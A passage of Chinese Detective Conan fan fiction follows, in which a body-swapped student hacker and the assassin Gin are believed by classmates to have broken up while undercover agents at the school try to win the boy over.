不过师生恋确实不适合大声张扬,铃木园子十分理解相叶佑禾,她说:“你和黑泽老师同时请假,难道不是他为了方便照顾你吗?” 真是怪了,有黑泽老师照顾,相叶的状态怎麽会这麽差? 世良真纯:“说起来,我刚才在窗户边看到你自己一个人上来,你今天没和黑泽老师一起来吗?” 之前给的理由是正好顺路,好心的黑泽老师就捎相叶佑禾一程,他顺着这个理由继续编道:“黑泽老师搬家了,我们不顺路。” “搬家?!”几人相互看了一眼。 虽然没有明说,但从两人平时相处的小细节来看,大家都心照不宣的认为两人早就同居了。 现在搬家,岂不就是分居了…… 世良真纯直言道:“相叶,你们吵架了吗?” 他和琴酒之间怎麽会有吵架这种可爱的行为,是从今以后老死不相往来!是他和琴酒谁也不认识谁! 在这之前,要把大家对他和‘黑泽老师’关系很好的印象摘除才行! 相叶佑禾温声道:“没有,我们为什麽要吵架?如果是说学习问题,那都是很久之前的事了。” 相叶佑禾和琴酒撇清关系的话,听得众人一愣一愣的。 “至于铃木说的照顾我,那更是没有的事。”相叶佑禾继续耐心地解释:“我和黑泽老师只是请假的时间恰巧撞一起了,我生病的这段时间没有见过他。” “我一直一个人待在医院里。”相叶佑禾还着重强调:“这期间我们一面都没见过!” 听到了吗,他和琴酒不熟!别说照顾病人了,就是生病了都不会想告诉对方的程度! 空气里陷入一阵安静。 这不是超在意吗! “太过分了!”铃木园子一巴掌拍到桌子上,吓得正准备打哈欠的相叶佑禾连忙闭上了嘴巴,懵懵地抬头看去。 怎、怎麽了? 他刚才说的话有什麽不对吗?他以前生病也从来不告诉别人呀。 “黑泽老师他……”铃木园子还没说完,旁边的毛利兰一把捂住她的嘴巴。 她看了眼相叶佑禾,少年神色恹恹,眸中蒙上一层浅浅的、难以察觉的水汽,他的声音虽然温和,但她还是听出了里面极力掩饰的冷硬。 相叶同学他……很伤心! “园子,我想去一下洗手间,你陪我一起吧!” “对对对,我也想去,我们一起吧!”世良真纯连忙点头,和毛利兰一起,拉着铃木园子出去了。 铃木园子呜呜地挣扎着,扭着头挤出断断续续的词:“……还有安室老师……昴……” 随后,毛利兰和世良真纯讪笑着把人拉了出去,剩下的话相叶佑禾自然也听不到了。 不过也不用听了。 相叶佑禾沉默了两秒,‘啪’地一下把脑袋砸在桌上,他长叹一口气,桌上摊开的书被吹起一页又落下。 “唉——” 对啊,走了一个琴酒,还有波本、苏格兰、贝尔摩德和冲矢昴。 真讨厌。 要把他们解决掉吗? 相叶佑禾眸光闪了闪—— “抱歉园子。”走廊里,毛利兰松开手。 “没事啦,我知道你是怕让相叶更伤心。”铃木园子整理了下衣服:“真的是,黑泽老师怎麽可以这麽对相叶!他……” “相叶怎麽了?” 突兀插入的声音吓了几人一跳,三人回头,发现是安室透。 金发黑皮的青年亲切地笑了笑:“抱歉,我不是故意偷听你们说话的,相叶同学和黑泽老师怎麽了吗?” 难道琴酒对相叶佑禾动手了?! 世良真纯有些警惕地看着安室透:“没……” “安室老师,你来得正好!”铃木园子眼睛一亮:“我们正在说相叶和黑泽老师吵架了的事!” 安室透松了口气,眸光闪了闪,惊讶道:“吵架了?很严重吗?” “嗯……应该蛮严重的。”毛利兰迟疑道:“毕竟相叶同学脾气很好,基本不生气,能让他要和黑泽老师撇清关系,一定非常生气……” “那肯定啊!”铃木园子语气不好:“他居然在相叶生病最脆弱、最需要人照顾的时候,连去探望一下都没有!” 这是一个合格的男朋友该做的事吗?! 就算他们因为别的事正在吵架好了,但爱人生病怎麽能不管呢?! 以前相叶佑禾也不会告诉大家他生病的事,每次他们都得从老师口中听说,但自从黑泽老师来了之后就不一样了,黑泽老师经常会翘课去照顾相叶,比相叶自己还紧张相叶的身体。 她们就是看黑泽老师对相叶无微不至的关怀,加上能让相叶放下心防才支持他们师生恋的! 结果这才多久这个男人就变了…… 相叶得多失望多伤心啊! 铃木园子越想越气,看向脸上挂着微笑的金发青年:“安室老师,你去撬墙角吧!” 反正这几个后来的老师,整天眼睛都快黏在相叶佑禾身上了! 第62章 佑禾:琴酒坏掉了! “唉?”撬、撬墙角? 安室透豆豆眼,是他想的那个意思吗?现在的学生说话可真是胆大…… 世良真纯和毛利兰也一时失语。 毛利兰汗颜:“园、园子……这再怎麽说也不太好吧。” “首先,身为老师的我绝对不可能做出和学生谈恋爱这种有违道德的事,这不仅违背了我的师德,更是对教育的亵渎,别提插足他人感情这种卑劣的事了。” 安室透看向三人,紫灰色的眼眸中布满了认真,他神情严肃时,整个人透露着一股威严感,看得三人不由自主都站直了身体。 “教师这个称号代表着责任与表率,我既然成为了老师,就不能亵渎他。” “园子同学,在感情方面你也要认真对待才行。” 安室透看向铃木园子,顺带劝了一下她,后者却一个激灵立正站稳,大声道:“好!好的安室老师!” 安室透顿了顿,反应过来刚才说的话好像过于严厉了。 “当然,这是老师的问题,和你们无关。” 都是琴酒那个败坏教师名声、玩弄学生感情的混蛋的错! 他眨了眨眼,重新露出温柔亲切的笑容:“我知道园子同学你只是开个玩笑而已,我都被吓了一跳呢。” “是、是的。”铃木园子也确实只是气头上开个玩笑,只是没有想到一向亲切、说话又讨人喜欢的安室透居然会突然这麽严肃认真。 熟悉的安室透回来,铃木园子舒了口气。 不过……刚才安室透的话应该算是把黑泽老师狠狠骂了一顿了吧? 骂得狗血淋头那种。 铃木园子疑惑,他们关系不是很好吗? 这几个新来的老师一天天如胶似漆的,有课一起上,有作业一起批改——特指‘黑泽阵’把自己的作业分给另外几人,这是铃木园子某次去办公室不小心撞见的。 总之,大家一致认为他们关系好到看恋人的眼光也相同,脑洞大开的猜测其他几位老师也对相叶佑禾有意思呢!所以铃木园子刚刚才…… 咳咳,这些算不得真的小八卦就算了,反正他们关系很好是公认的。 本以为作为‘黑泽阵’的狐朋狗友,安室透等人肯定很赞同黑泽阵师生恋的行为,没想到…… “好了,马上上课了,你们快回到自己班级吧。”安室透刚说完,铃声便响了起来。 三人连忙往班级跑去,世良真纯还回头看了一眼安室透,后者自然察觉到,面上依旧维持着一副无懈可击的微笑。 回办公室时,安室透特意路过了二年b班,他朝窗边看去,一眼便看到了相叶佑禾。 少年焉焉地趴在桌子上,一头蓬松的粉发无精打采地耷拉着,像一朵焉了的花。 两人突然请假,他们本以为琴酒终于厌倦了这场师生扮演游戏,把相叶佑禾带走了。 正想方设法查找相叶佑禾下落时,佑禾主动联系了毛利侦探事务所。 他确实是生病住院了。 因为组织内发生了一件大事,形势严峻,安室透也分身乏术,只偷偷去看了相叶佑禾一次,见他完好无损便离开了。 但现在,相叶佑禾眼底浮着浓重的青黑,他面无表情,浑身散发着几分沉重的气息…… 半个月不见,身体病弱但生命力旺盛的少年怎麽变成这副模样了? 安室透眉头皱起。 这段时间琴酒对他做了什麽?不、琴酒应该没有时间做什麽。 这段时间,作为组织内权利最大的两名代号成员——朗姆和琴酒内斗严重。 两人的关系从以前就十分焦灼,但这段时间尤其严峻。 作为情报人员,又是朗姆派系的人,安室透从这暗流涌动中了解到一些情况。 朗姆手下的人被琴酒干掉了很多。 琴酒态度强硬,以雷霆的手段撕碎了两人面上那一层薄纸,朗姆勃然大怒,但似乎有什麽把柄被琴酒捏在手里,竟然将这口怒气咽了回去。 可朗姆当然不会忍气吞声,千方百计的给琴酒找麻烦。 安室透有预感,朗姆很快就会让他出动,但在这之前—— 他的目光从少年身上扩大到整间教室,这堂课是琴酒的语文课,以前‘琴酒’从来不会迟到,可现在已经上课三分钟了,讲台上却依旧空无一人。 琴酒没有和相叶佑禾一起来学校,办公室里也没有他的影子——他果然被朗姆绊住了。 安室透心情颇好,他要在朗姆正式下令前,趁琴酒疲于应付朗姆时,让相叶佑禾摆脱这个杀手的魔爪。 “哒、哒、哒。” 安静的走廊里,皮鞋叩击地面的声响由远及近,每一步都激起冰冷的回音。 安室透抬眸,一抹修长的黑色身影出现在视野中。 男人骨节分明的手指间随意夹着一本课本,随着利落的步伐,笔直的西装裤在光影间若隐若现,曾经用发带扎起、温顺垂在肩侧的银发,此刻简单的束在脑后,随步伐轻轻晃动。 低低扎起的头发将男人整张脸露了出来,锋利的五官如一柄出鞘的利刃,极具攻击性。 他漫不经心地扫了眼安室透,似乎冷笑了一下,又似乎没有,仿若只是扫了眼空气般忽视了金发青年,踏进了二年b班的教室。 抽气声响起。 原本有些吵闹的教室瞬间一片寂静。 在心中无限纠结怎麽处理安室透等人的相叶佑禾皱了皱眉。 怎麽?换了什麽新老师让他们这麽大反应? 相叶佑禾把贴在桌子上的脸翻了个面,懒懒地睁开眼朝讲台看去,与正在看着这边的银发男人四目相对。 相叶佑禾一愣。 “……” “!!!” 相叶佑禾猛地坐直了身体,椅子摩擦在地面发出尖锐的刺耳声。 教室里的视线瞬间从讲台汇聚在相叶佑禾身上。 他们看了看一脸震惊的粉发少年,又看了看台上与平时大相径庭的银发男人,仿佛明白了什麽。 后桌戳了戳相叶佑禾的背,笑容暧昧地小声说:“哎,相叶,你们今天没一起来的原因,该不会就是黑泽老师特意要给你准备这份惊喜吧?” 惊喜? 是惊吓吧! 相叶佑禾死死盯着银发男人。 身体明明都换回来了!琴酒为什麽还要来学校!闲着没事干吗! 见相叶佑禾注意力全在银发男人身上,后桌一脸没眼看的样子摇了摇头:“啧啧,真是受够了你们。” 真是的,把他们当狗整呢!净搞这些花里胡哨的,一天天的狗粮都要吃撑了! 相叶佑禾没功夫搭理后桌说什麽,在震惊过后才反应过来教室里出奇的安静,大概是被琴酒这一言不发的冷脸吓到了。 毕竟这可是组织的topkiller,那一身不可忽视的压迫感就足够让人不敢随便开口。 可恶,更生气了! 既然来了学校就好好上课,一直盯着他干什麽!现在就足够引人注目了,再看下去…… 相叶佑禾如坐针毡,就在他快炸毛时,琴酒移开了视线。 修长的手指打开书本,用冷淡的嗓音开始了他第一堂课程。 组织大名鼎鼎、冷酷无情的topkiller竟然真的开始讲课,放在以前相叶佑禾一定要狠狠吐槽,并大声嘲笑他讲得真烂。 可现在,他完全没有心思听琴酒讲了什麽。 琴酒会再来学校的原因很简单,是来问他要那个答案吧。 ——那个必须加入组织的答案。 真是个没有耐心的男人。 可只是要答案为什麽要来上课?他的时间很多吗? 等等,他在琴酒身体里就算了,琴酒本人也是那种会为了这麽点小事,跑来做给学生上课这种幼稚行为的人吗? 开什麽玩笑! 琴酒坏掉了! 他偷偷暼了眼琴酒,难道说……这家夥又和人灵魂互换了?! 现在待在琴酒体内的是另一个不为所知的人,对方正在努力扮演琴酒的人设? 相叶佑禾面色凝重,一眨不眨地盯着琴酒试图找出此人不是琴酒的证据。 那道灼热的目光一直跟随着他,难以忽视。琴酒放下课本朝相叶佑禾的位置看去。 少年如同被抓到的小老鼠一般,立即缩回了课本后面,脸是挡住了,身体和紧紧攥住书本边缘的手一览无余。 琴酒:“……” 呵,掩耳盗铃,藏头露尾。 甚至都没发现周围的同学都在埋头做题。 琴酒迈开步伐,将脚步声控制到最低。 一道阴影自上而下投落,相叶佑禾缓缓抬眸,对上了琴酒似笑非笑的脸。 相叶佑禾心脏一紧,手上的课本差点朝他脸上砸去。 靠!不知道这张杀手恶人颜有多吓人吗! 吓死他了! 琴酒墨绿色的眼眸里布满了戏谑的冷光:“相叶……同学,上课开小差不是什麽好行为。” 相叶佑禾暗戳戳瞪了他一眼:“知道了……黑。泽。老。师。” 咬牙切齿的声音让琴酒唇角微微上扬了几个像素点—— 同样惊讶琴酒竟然出现学校里,停留了一小会的安室透:“……” 嗯……这是吵架吗? 无论他怎麽看,都像是感情更近了一步的样子。 第63章 Gin:他只会选我 真不妙啊。 之前安室透等人就看出来了,‘相叶佑禾’虽然讨厌‘琴酒’、被迫接受对方亲密的接触,总是摆出一副不情不愿很冷淡的样子,但实际行动却带着一种很微妙的纵容。 他潜意识里没有那麽抗拒‘琴酒’。 而现在—— 琴酒不再将自己伪装成温柔好老师,他换回了原本的装扮、在相叶佑禾面前呈现出自己最真实的性格,说明两人关系更进一步了,并且还不小。 琴酒这混蛋……真的把相叶佑禾骗到手了。 他们拯救相叶佑禾的道路变得更加艰难了。 要带走相叶佑禾很简单,在不伤害他的情况下让他收回对琴酒的感情,配合他们离开,可现在相叶佑禾对琴酒的感情更深了…… 在安室透感到头疼纠结时,事情迎来了转机。 他原本以为两人的感情更近了一步,可接下来几天,从前几乎恨不得时时刻刻黏在一起的琴酒和相叶佑禾,竟然没有单独相处过。 一次都没有。 琴酒只会在他的课程上出现,下课铃响就立即离开,他会在办公室里坐着,会在没有人的走廊上抽烟,用悠长的目光看着远方的操场。 他会盯着安室透等人,对赤井秀一说一些意味深长的话,会消失不见看不到人影,却不会出现在离相叶佑禾很近的地方。 而相叶佑禾也一样,他见到琴酒时总是神情冰冷,眸中带着警惕和防备。 “他们已经一周没有说话了!” “而且上下学都也没有一起!” “同框出现也一点都不暧昧,一个比一个冷淡,明明是两个温柔的人,现在都快变成两个面瘫了!” 同学们眼里带着八卦,小声讨论。 “他们该不会真的分手了吧?” “不是早就确定他们分手了吗?” “啊——”同学A趴在桌子上,痛苦呻吟:“那他们什麽时候和好啊!性情大变后的黑泽老师真的太可怕了!” 从前的黑泽老师虽然对爱人的占有欲很偏执,但除此之外是个相当温柔的美人,大家可喜欢了! 而如今,失恋后的黑泽老师黑化了!他昔日的柔情化作冰冷又锋利的利刃,狠狠地刺向了——无辜的他们。 虽然黑化的黑泽老师给人一种‘你们都是垃圾,根本不值得我浪费眼神’的感觉,但学生们每次都正襟危坐,打起十二分精神,不敢说话不敢开小差……生怕稍微发出点声音,下一秒就被飞来的小刀扎得浑身漏血。 咦?为什麽会觉得不听话就会死啊? 他们只是在上课而已! 痛!太痛了! 学生们泪流满面了。 “和好?按现在这种情况不太行吧?”说话的人往窗外指了指。 窗外,黑发猫眼的青年垂着头,柔和的脸上挂着浅浅的笑意,和粉发少年说着什麽。 而少年则仰着头,神情认真的听着,时不时点点头,乖巧懂事,完全没有看到黑泽阵时的冷漠无情。 “呜……”同学A趴在桌上,一边为要继续面对黑化的黑泽老师而悲痛,一边感叹:“相叶同学简直是老师诱捕器啊。” 这些新来的老师,一个个的老喜欢往相叶佑禾面前凑了,尤其是黑泽老师黑化后,一转眼就能看到他们中的某人在相叶佑禾身旁。 目的简直不要太明显! “啧啧,能在现场看这种狗血大剧,被黑泽老师用看垃圾的眼神地睨一眼也值了。” “啊?你真是既要又要啊!” “说什麽呢!”同学A惊悚地看了朋友一眼,又朝窗外看去:“说起来,绿川老师和相叶之间的氛围也很好耶……” 好个屁。 相叶佑禾快烦死了。 琴酒这个混蛋,来了学校后一句话不说,也不催促他给答案,好像就只是完成任务一般上个课就离开了。 可是每天、每!一!天!都能看到他一次。 相叶佑禾根本无法忽视琴酒。 虽然没有用言语逼迫他,但他这个人出现在学校就是一种无形的逼迫。 琴酒该不会是以这种方式威胁他吧? ——你的生活我了如指掌,如果不答应,我随时都能毁了它。 莫名其妙,可恶至极! 偏偏这期间,冲矢昴等人还像苍蝇一样总是出现在他身边,怎麽甩都甩不开。 尤其是波本和苏格兰,总是说一些奇奇怪怪、难以理解的话。 相叶佑禾的忍耐已经到达临界点了,他决定干掉这几个烦人的组织成员。 比如做一份假的卧底名单,嫁祸波本和苏格兰是卧底——相叶佑禾邪恶的想着,越想越觉得这个办法不错。 反正都是一些犯罪分子,死了是为民除害,顺带还能再加一些代号成员进去,借这个机会把组织成员消灭一波。 在此之前,相叶佑禾打算先深入调查波本和苏格兰等人,之前秉承着和黑衣组织关系越少越好,尤其是身边有个敏锐的琴酒,一个不小心说漏嘴被发现就完蛋了,所以他只浅浅调查了下组织各个成员,重心放在和琴酒斗智斗勇上…… 现在既然要对付波本等人,当然要好好查……查…… 相叶佑禾看着有数据组成的照片和数据,陷入了一阵沉默。 “降谷零,警察厅警备局……公安‘零组’……” “诸伏景光,警视厅公安……” “冲矢昴,赤井秀一、FBI……” 相叶佑禾张了张嘴巴又闭上,他陷入了良久的沉默。 过了好一会,他调出贝尔摩德的数据。 不是卧底,但也是个二五仔,背着琴酒干了很多能打上叛徒名号的事,点名隐瞒了工藤新一的身份。 嗯……该怎麽说呢,哈哈…琴酒,真惨啊。 相叶佑禾都忍不住同情他了,甚至还深入调查了下伏特加,好在这家夥不是卧底也不是二五仔,只是单纯有点傻而已。 嗯,挺好的,至少琴酒不是孤身一人。 说起来,琴酒没有把他的身份上报组织,算不算和贝尔摩德一样……等等,他在想什麽? 琴酒这种对组织忠心耿耿的杀手会这麽好吗?! 明明就是想等带回组织后再告诉boss。 相叶佑禾脸瞬间拉了下来,他把琴酒抛在脑后,手指在空中划了一下,降谷零和诸伏景光的数据浮现在面前。 他摸了摸下巴。 啧,真是的,没想到他们真是卧底,这反倒让他没办法实施预想的方案了。 说起来,警方也馋他吧?所以降谷零和诸伏景光总是想方设法的接近他,该不会也是察觉到他黑客的身份了吧? 可恶! 相叶佑禾臭着张脸,扒拉了两下数据,顺着降谷零和诸伏景光公安的身份查下去,看到了一张五人合照。 五个青涩的青年穿着警服,他们脸上挂着微笑,眼神坚定的看着镜头。 阳光洒落,画面鲜活生动,一张张帅脸浮现在眼前,偏偏这些人他还都认识。 相叶佑禾张了张嘴:“……世界真小啊。” 没想到他讨厌的波本、苏格兰居然是公安,还是松田阵平、萩原研二的好友。 现在轮到相叶佑禾纠结了。 不如被公安收编算了……反正他的生活已经被搅乱了。 银发男人的身影一闪而过,相叶佑禾抿了抿唇。 不行,这样搞得像是被琴酒逼到不得已,只能投靠公安一样。 而且他说过了,谁也不能破坏他的普通生活,哪怕是他自己也不行! 相叶佑禾打开厕所门,走出来时碰到了正好路过的安室透。 因为松田阵平和萩原研二、以及他的朋友不是名侦探就是有着很强的正义感的人,相叶佑禾的心难免会下意识偏向警方。 尤其是,安室透是松田和萩原的好友…… 想到他们在黑衣组织时那些危险的表现,相叶佑禾神色复杂,主动喊了一声:“安室老师。” “嗯?”安室透侧头看去。 阳光倾泻而下,为少年粉色的发丝镀上一层金边,他白皙的脸上扬起一抹浅浅的笑,与平常虚假应付的笑容不同,这是一个发自内心、真诚又温软的微笑。 安室透愣了一下,不知是不是错觉,他总觉得相叶佑禾似乎没有之前那麽反感他了—— “大哥,今天还是不去相叶家吗?”伏特加握紧方向盘,偷偷暼了一眼琴酒。 男人双眸微阖,修长的手指随意地支在下颚处,有一下没一下的轻扣着脸。 “我不是说过了麽?以后都不用再去。” “哦哦……”他这不是以为那是气话嘛。毕竟大哥到现在都还没把车子换回他心爱的保时捷,依旧开着这辆相叶佑禾想要的低调车子。 “那大哥,今天不用一直待在学校吗?” “我看上去很闲吗?”琴酒掀了掀眼皮:“为什麽要在那种幼稚的地方浪费时间。” 他去学校的目的,只不过是等相叶佑禾想好时能有找到他的地方罢了。 黑客樱很特殊,特殊的人需要特殊对待。 “大哥说的对。”伏特加迟疑道:“可是波本他们也在学校里,他们会不会趁机接近相叶……” 那几个人对相叶佑禾一直很感兴趣的样子,最近大哥和相叶又冷战,大哥这个人冷冰冰的不会说话,相叶年纪又小,万一被别人三言两语哄去了…… 伏特加十分担忧。 “呵。”琴酒冷笑一声。 那几只什麽都想凑一凑,看能不能有利可图的小老鼠,不足为据。 就算波本等人真的发现了相叶佑禾就是小樱花,那又怎样? 难不成以为相叶佑禾会选择他们麽? 银发男人微微抬眸,狭长的绿眸中流转着从容的锋芒,他唇角扬起一抹弧度,低沉而清晰的声音里,是不容置疑的笃定。 “相叶佑禾——只能选择我。” ——只。会。选择他。 第64章 你的行为还爱他 相叶佑禾最近的危机感来源于身边的黑衣组织成员太多了。 如今发现身边的人不是公安就是FBI,唯一一个组织成员贝尔摩德的主要注意力还都在毛利兰和工藤新一身上,虽然自己还是很危险,但比之前好了很多。 至于琴酒……他的存在感确实很强,哪怕一天出现的时间很短,还是令人难以忽视,总是会想到他,想到那个令人不悦的选择。 不过琴酒既然什麽都没说、什麽都没做,相叶佑禾也能很好的无视他。 不就是琴酒嘛!他都用了这人身体那麽久了,早就习惯了这具身体、这张冷冰冰的脸。 于是相叶佑禾轻而易举的无视了他,该上课上课、该吃饭吃饭 ,安室透等人接近他时,他也没有从前那般抗拒和敷衍,会好好的回话。 他虽然不想被官方收编,但因为身边人的关系,对警方有着天然的好感,加上降谷零和诸伏景光是自家‘哥哥们’的好友,他的心下意识就偏向了两人—— 看着安室透、诸伏景光成功打动了相叶佑禾的“心”,而自己依旧是爱答不理的赤井秀一,陷入了深深的沉默。 到底是哪里出问题了呢? 他们都长了一张帅气的脸、对学生们都耐心又温柔、都在帝丹高中最受欢迎老师的前排,不分伯仲。 在相叶佑禾面前那就更不用说了。他们抱着一样的心思,趁着相叶佑禾和琴酒冷战期间,不遗余力的接近相叶佑禾,他偶尔还会用江户川柯南作为中间人,来接近对方。 但相叶佑禾是个距离感和防备心很强的孩子,赤井秀一了解到的,能走进他的生活、相处最亲密的人,恐怕就只有琴酒一个了。 他不觉得自己和安室透、诸伏景光之间有什麽很大的区别,硬要说的话……那就只能是琴酒了。 安室透、诸伏景光与琴酒同为黑衣组织的代号成员,在相叶佑禾看来,也许算是……一家人? 虽然分手冷战了,似乎有着什麽深仇大恨一样不给对方好脸色,但两人还是有一种旁人无法介入的奇怪氛围。 温和的相叶佑禾上一秒还和同学微笑着聊天,下一秒看到琴酒就立马冷若冰霜。 而琴酒,学生们认为他是失恋黑化,但熟悉琴酒的他觉得现在的装扮才是最正常的,不过,他都做回了那个冷酷无情的topkiller ,还勤勤恳恳的来学校上课,就是还在爱着相叶佑禾的证明。 两人的反常行为都透露出对方还存在心中的事实。 那麽相叶佑禾会对是‘一家人’的波本、苏格兰爱屋及乌也是合理的。 虽然他又阴差阳错的被排挤了,但赤井秀一还是没忍住幸灾乐祸笑了一下。 如果琴酒知道这个原因,会露出什麽表情?会不会跟吃了苍蝇一样难看。 “赤井先生,你别笑了!”波洛咖啡厅里,江户川柯南一转头,看到冲矢昴莫名其妙的笑容头都大了。 相叶佑禾和琴酒的事人尽皆知,毛利兰看着最近脸上都没什麽笑容的相叶佑禾十分担心,他连最喜欢的蛋糕都好几天没吃了呢!一定很难受吧? 于是在今天放学后,毛利兰邀请了相叶佑禾去她家楼下波洛咖啡厅吃甜品,甜食会让人放松心情,说不定会开心起来。 相叶佑禾看出了朋友们的担心,为了证明自己没事,加上他这段时间确实没有吃过甜品,于是便答应了下来。 发现这件事时他还有些震惊,毕竟他对甜品的爱可不普通,曾经灵魂互换都没阻止他吃小蛋糕,最近没吃就算了,甚至把蛋糕都忘了。 他的身体又出什麽问题了吗? 相叶佑禾思考间,跟着毛利兰来到波洛,路上发生了一些意外耽误了时间,等到店里时,竟然看到了系着围裙的安室透和客人模样的诸伏景光。 安室透就算了,他本来就是波洛的服务员,应聘教师成功后,他下班后和休息日都会回来波洛兼职。 想到他在黑衣组织和公安都有职位,相叶佑禾忍不住咂舌。 真辛苦啊。 旁边的诸伏景光也只是少了一份服务员的工作而已。 这就是卧底吗?真可怕。 安室透和诸伏景光就算了,旁边坐在餐桌前的冲矢昴和江户川柯南又是怎麽回事? 江户川柯南用甜甜的声音叫着‘相叶哥哥’,把他拉到了同一张餐桌上。 相叶佑禾:“……” 对面是毛利兰,左边是诸伏景光,右边是柯南和赤井秀一,旁边还站着个笑眯眯的安室透。 相叶佑禾:“……”他真的能好好吃甜品吗? 好在大家都是好人,情商也很高,餐桌上的氛围还算融洽。 “之前在烹饪课上,我看佑禾你蛋糕做得挺不错的,你又喜欢吃,假期空闲时间要不要来找我,我教你做其他甜品?”诸伏景光笑道:“在家里闷久了对身体也不好哦。” 相叶佑禾咬着勺子,思考这个提议的可行性。 换从前他想也不想就会拒绝,但现在嘛…… 诸伏景光的手艺确实独一份,可作为卧底,他也不可能一直在帝丹高中耗着,而且相叶佑禾已经决定找点事让他们忙起来,没办法继续留在自己身边。 以后想要吃到的机会就更少了。 脑海里闪过琴酒使用他身体时在烹饪课上揉面的画面。 琴酒会跟他相叶佑禾有什麽关系! 相叶佑禾迅速点了几下头:“嗯,好,那就麻烦绿川老师了。” 这下轮到诸伏景光和降谷零惊讶了,没想到少年真的会答应。 为什麽? 果然是因为琴酒受伤太深,想找点事情转移注意力吗? 安室透在心里又骂了两句琴酒,看向相叶佑禾,眨了眨眼:“说到这个,我的手艺也很不错呢,到时候要一起讨论一下吗?” 相叶佑禾看了眼安室透,又看了看诸伏景光,若有所思,随后恍然大悟。 这两个好朋友肯定是想趁这个机会聚一聚。 相叶佑禾点了点头:“嗯,我没问题。” 他会给两人打掩护的,说起来,到时候把萩原研二和松田阵平也叫上吧? 安室透和诸伏景光飞速对视一眼,皆在对方眼中看到了震惊。 竟然连他也答应了! 可见相叶佑禾有多伤心。 安室透在心里叹了口气,他看了眼脸上依旧没笑容的少年,忍不住抬手摸了摸他的脑袋。 相叶佑禾硬生生止住了想要躲开的动作。 这就是好朋友吗?松田阵平和萩原研二也很喜欢这样揉他的头发。 江户川柯南看得目瞪口呆。 可恶的琴酒!看看他做的孽!把一个喜欢和人保持距离的少年,都逼到要一个吵闹的环境来转移注意力了! 不过这融洽的氛围,还是让他急得团团转。 他趁周围人的注意力都不在这边时,偷偷摸摸地戳了几下赤井秀一的腰:“赤井先生,你快上啊!” 第65章 急不可耐 江户川柯南恨铁不成钢。 快看看现在的场合啊! 波本、苏格兰和相叶佑禾相谈甚欢,甚至都约了假期见面!只有赤井先生坐在旁边孤零零的插不进去话,他刚才还笑得出来! 难道是有什麽好主意了吗? 那就别卖关子快上! 还不知道安室透和诸伏景光真实身份的柯南,认为两人不安好心,生怕相叶佑禾刚从一个坑里出来,又被他们带进另一个坑里。 “boy,别急。”赤井秀一微微垂头,镜片在灯光下折射出白色的光芒。 他开始思考,要不要以赤井秀一的样子,不经意出现在相叶佑禾面前。 他和琴酒,某些地方还挺相似的。 “咦?佑禾,你这里沾到东西了。”少年头发软软的,如同丝绸一般的手感令安室透爱不释手,他没忍住多揉了两下,蓬松的碎发轻轻晃动,发间若隐若现露出一点异色。 “嗯?是什麽?”相叶佑禾抬手摸去,却被安室透打断了。 “别动。”青年修长的手指从少年的头顶顺着脸颊滑落,来到耳侧垂着的头发处,指尖轻轻穿过发丝,准确地捏住上面的异物。 这有些亲昵,但在朋友、亲人之间很正常的动作,在有其他心思的人看来可完全变了个味道。 刚走进门的铃木园子愣了一下。 从这个角度看过去,是金发青年动作亲昵地捧着少年的脸,紫灰色的眼眸专注又温柔地看着对方,脸上的笑容如蜜一般迷人。 与她一同愣住的还有跟一起进来的两个青年。 惊愕地看着金发青年,以及……那个被他‘捧’着脸的少年背影上。 降谷?还有小佑禾? 萩原研二和松田阵平吃惊,他们在路上因为一启案件碰上铃木园子和世良真纯,解决完案子后,听说她们今天和相叶佑禾有约。 上次酒吧之后,两人虽然只见过相叶佑禾一次,但经常有聊天,少年一切安好,还总跟他们分享日常,这让两人放心不少。 当然,他们最关心的问题相叶佑禾也有回答——让他们放心,他会很快处理好和黑泽阵的关系。 完全放心不下好吧! 但相叶佑禾总对他们避而不见,加上少年的性格也不太好逼太紧,两人只能把目光投向黑泽阵身上。 他们调查了黑泽阵这个人,从小到大的信息都很正常,还约了他好几次。 黑泽阵会吐槽学校里和同事间的小摩擦、会说哪几个学生调皮不好管教、会推荐他们哪几家店很好吃、会在碰上杀人犯时主动出手制服对方…… 总之,他似乎是个温柔话唠、且颇有正义感的好老师。 对此,相叶佑禾只想呵呵一声。 也不看看琴酒的身体里是谁!能不温柔正义吗?黑泽阵的数据也都是他伪造的,能查出问题他这个黑客也要回炉重造了。 面对两个洞察力敏锐又对他颇为了解的警察,相叶佑禾每次出来可都是提心吊胆的,好在他本人是个话不太多、乖巧的好孩子形象,用着琴酒的身体放飞自我反而打消了两人的怀疑。 一不小心还用琴酒的身份和萩原研二、松田阵平拉近了些关系。 也因此,两人对他们这段关系依旧不赞同,但也没有刚开始那麽激烈了。 回归正题,会见到相叶佑禾倒是意料之中,就是没想到降谷零也在这,旁边那个黑发的青年也挺熟悉的,该不会是……诸伏景光? “安室老师……”铃木园子一把抓住世良真纯的手臂,眼睛紧紧盯着金发青年:“安室老师之前说得那麽正气凛然,我还以为他真的不会撬墙角……什麽嘛!没想到动作却这麽诚实!” “呃,园子,我觉得……”世良真纯的话还没说完,便听到旁边两人惊讶的声音。 松田阵平:“安室老师?” 萩原研二:“撬墙角?” 降谷零和诸伏景光卧底后,他们几人也没有彻底断开联系,每隔一段时间会字安全的方式见一面,倒是知道他们的化名,但……老师? 降谷怎麽当上老师了?身上的服务员围裙和餐盘又是怎麽回事? 以及……撬墙角? 两人根据现场的情况、人员,以及这里面有一个不同寻常的恋情,敏锐地察觉到事情不简单。 “小园子,撬墙角……怎麽说?和小佑禾有关吗?”萩原研二笑道。 铃木园子:“对啊,相叶和黑泽老师分手后……” “分手?!”两人惊呼。 “咦?”铃木园子惊讶道:“萩原警官松田警官,你们不知道相叶和黑泽老师分手的事吗?” 还想着他们那麽熟,肯定会知道才对。不过也正常,就连她们也都是自己猜出来的,相叶从来没和大家说过。 毕竟这份恋爱有些特殊,相叶也不好宣之于口吧。 “他们没有明说。但两个人现在的相处比陌生人还冷淡,黑泽老师黑化后整天穿黑衣、面无表情,跟带着制冰机上课似的冻得我们瑟瑟发抖,超级吓人!至于相叶,看到黑泽老师那更是不待见到连眼神都不愿意分给对方一点呢。”铃木园子说:“这不是分手是什麽?” 按这麽说的话确实。 但是……黑化?制冰机?吓人? 萩原研二和松田阵平根据这个描述想象了一下,脑海里浮现出的新人设竟然跟琴酒十分接近。 萩原研二甚至都来不及高兴两人分手了,担心地问:“小佑禾怎麽样?!他这期间有受伤吗?” 第一次见到两人时那S/M的画面记忆犹新,生怕分手后黑泽阵气不过,对相叶佑禾做什麽过分的事。 